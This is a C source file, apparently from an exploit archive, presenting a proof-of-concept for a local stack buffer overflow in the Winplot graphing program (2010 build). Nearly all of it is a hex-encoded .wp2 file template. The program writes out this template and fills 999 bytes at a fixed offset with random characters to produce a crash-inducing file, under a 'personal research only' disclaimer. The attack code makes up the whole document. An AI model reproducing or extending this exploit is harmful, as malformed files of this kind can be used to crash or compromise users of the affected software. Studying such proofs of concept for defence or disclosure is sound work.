1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 |
/* DISCLAIMER THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!! The programs are provided as is without any guarantees or warranty. The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs. The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs. Author: fl0 fl0w Software: Winplot Dl link:http://math.exeter.edu/rparris/peanut/wp32z.exe Afected Versions: compiled 7 june 2010 Remote: No Local:Yes Class:Boundary Condition Error Bug:Stack buffer overflow Afected software: Windows 95/98/ME/2K/XP/Vista/7 Fix:No fix Compiler: gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) Advice: To avoid any problems under Windows use cygwin console. The .C code: */ #include<stdio.h> typedef int i32; typedef char i8; typedef short i16; typedef unsigned int ui32; #define CHARS "0123456789ABCDEFGHIJKLMNOPQRST" \ "UVWXYZabcdefghijklmnopqrstuvwxyz" #define MEM_ALOC(tip,n) (tip*)malloc(sizeof(tip)*n) #define POC_NAME"pocfile.wp2" #define TITLE "-Winplot 2010 buffer overflow poc\n" \ "-by fl0 fl0w\n" \ "-File built\n" #define WP2 "\x49\x03\x00\x00\x24\x00\x00\x00\x31\x01\x00\x00\x95\x00\x00\x00\x80\x02\x00\x00" \ "\x80\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x3d\x00\x00\x00\xd9\xff\xff\xff" \ "\x2c\x01\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x0a\x00\x00\x00\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00" \ "\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00\x0c\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\xf0\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x02\x08\x02\x01\x31\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf5\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf0\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00" \ "\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x0c\xf2\x12\x00\x5d\xdd\x52\x00\x08\x80\x55\x00\x00\x00\x00\x00\x00\x0c\xf2\x12" \ "\x00\x5d\xdd\x52\x00\x08\x80\x55\x00\x00\x00\x00\x00\x00\x0c\xf2\x12\x00\x5d\xdd" \ "\x52\x00\x08\x80\x55\x00\x00\x00\x00\x00\x00\x0c\xf2\x12\x00\x5d\xdd\x52\x00\x08" \ "\x80\x55\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x06\x00\x00\x00\x04\x00\x06\x00" \ "\x04\x00\x04\x00\x00\x00\x00\x00\x15\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf" \ "\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00\x7f\x00\xa0\x2f" \ "\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00\x7f\x00\x20\xff\x00\x00\xff\x7f" \ "\x7f\x00\x87\x87\x00\x00\x00\x3c\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0" \ "\xa0\x00\x80\x80\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde" \ "\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff\x7e\x00\x7e\xff" \ "\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff\xff\x00\xff\xff\xde\x00\xff\xde" \ "\xff\x00\xde\xff\xff\x00\xb1\xde\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde" \ "\xb1\x00\xde\xb1\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1" \ "\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96\xea\x00\x96\xea" \ "\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd\x00\x00\xde\x68\x20\x00\x14\x82" \ "\x28\x00\xc0\x00\xa0\x00\xd4\x28\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64" \ "\x14\x00\x05\x00\x7d\x00\x00\x00\x01\x00\x01\x00\x01\x00\x0a\x00\x05\x00\x02\x00" \ "\xff\xff\x64\x00\x03\x00\x3c\x00\x07\x00\x0f\x00\x01\x00\x03\x00\x08\x00\x0c\x00" \ "\x1e\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x03\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" \ "\x70\x00\x0c\x00\x14\x00\x00\x00\x00\x00\x7b\x03\xff\xff\x32\x00\x00\x00\xb0\x00" \ "\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00" \ "\x00\x01\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01" \ "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x01\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x01\xc0\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x01\x40\x78\xb5\xb8\x09\xf3\xbb\x5a\x94\x01\xc0\x78\xb5\xb8\x09\xf3\xbb\x5a\x94" \ "\x01\x40\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80" \ "\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x05\x40\x00\x00\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80" \ "\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x30\x33\x33\x33\x33\x33\xb3" \ "\xfe\x3f\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc\xfb\x3f\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x01\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8\x5e\xdf\x9b\x4f\x77\xd6" \ "\xfb\x3f\x00\x48\xe1\x7a\x14\xae\x47\x81\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\xc0" \ "\xfe\x3f\x7a\x00\x00\x00\x00\x00\xf0\xf4\x12\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ "\x80\xf6\x12\x00\xd5\x4a\x40\x00\x14\x03\x1c\x00\xf0\xf4\x12\x00\x30\x04\x54\x00" \ "\xf0\x8f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x01\x40\x00\x00\x00\x00\x00\x00\x00\xfa\x08\x40\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc" \ "\xfb\x3f\x00\x00\x00\x00\x00\x00\x40\x9c\x0c\x40\x00\x00\x00\x00\x00\x00\x00\xc8" \ "\x07\x40\x00\x00\x00\x00\x00\x00\x00\x96\x06\x40\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\xfa" \ "\x08\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0" \ "\x01\x40\x00\x00\x00\x00\x00\x00\x00\xc8\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\xc8" \ "\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80" \ "\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80" \ "\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00" \ "\x64\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00" \ "\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x02\x00\x78\x00\x02\x00\x79\x00" \ "\x02\x00\x7a\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x9b\x4a\xbb\xa2\x58\x54\xf8\xad\x00\x40\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00" \ "\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\xa0\x02\x40\x0c\x00\x00\x00\x00\x00" \ "\x00\x00\xf0\xf4\x12\x00\x40\xf3\x12\x00\x0c\x0c\x00\x00\x00\x00\x00\x00\x00\xf0" \ "\xf4\x12\x00\x40\xf3\x12\x00\x0c\x0c\x00\x00\x00\x00\x00\x00\x00\xf0\xf4\x12\x00" \ "\x40\xf3\x12\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" \ "\x00\x00" struct nums{ i32 RND_STR_OFFSET; i32 RND_STR_LEN; i32 FL_SIZE; i32 CHAR_SIZE; }NUM; void gen_random(i8*,const int); void fl(i8*); void error_handle(void); void copy_str(i8*,i8*,i32); void val_assign(void); i32 main(){ printf("%s",TITLE); val_assign(); fl(POC_NAME); return 0; } void gen_random (i8* s, const int len){ i32 i;//follow the string in the stack for(i=0;i<len;++i){ s[i]=CHARS[rand()%(sizeof(CHARS)-1)]; } s[len]=0; } void fl(i8* Fname){ FILE* file; i8* BUF; i8* buff; buff=MEM_ALOC(i8,NUM.FL_SIZE); BUF=MEM_ALOC(i8,NUM.RND_STR_LEN); if(!buff) error_handle(); if(!BUF) error_handle(); file = fopen(Fname,"wb"); if(!file) error_handle(); copy_str(buff,WP2,NUM.FL_SIZE); gen_random(BUF,NUM.RND_STR_LEN); copy_str(buff+NUM.RND_STR_OFFSET,BUF,NUM.RND_STR_LEN); fwrite(buff,NUM.CHAR_SIZE,NUM.FL_SIZE,file); fclose(file); free(buff); } void val_assign(void){ NUM.FL_SIZE= 3322; NUM.RND_STR_OFFSET = 1570; NUM.RND_STR_LEN= 999; NUM.CHAR_SIZE= 1; } void error_handle(void){ perror("\nError"); exit(1); } void copy_str(i8* v,i8* w,i32 len){ memcpy(v, w, len); } |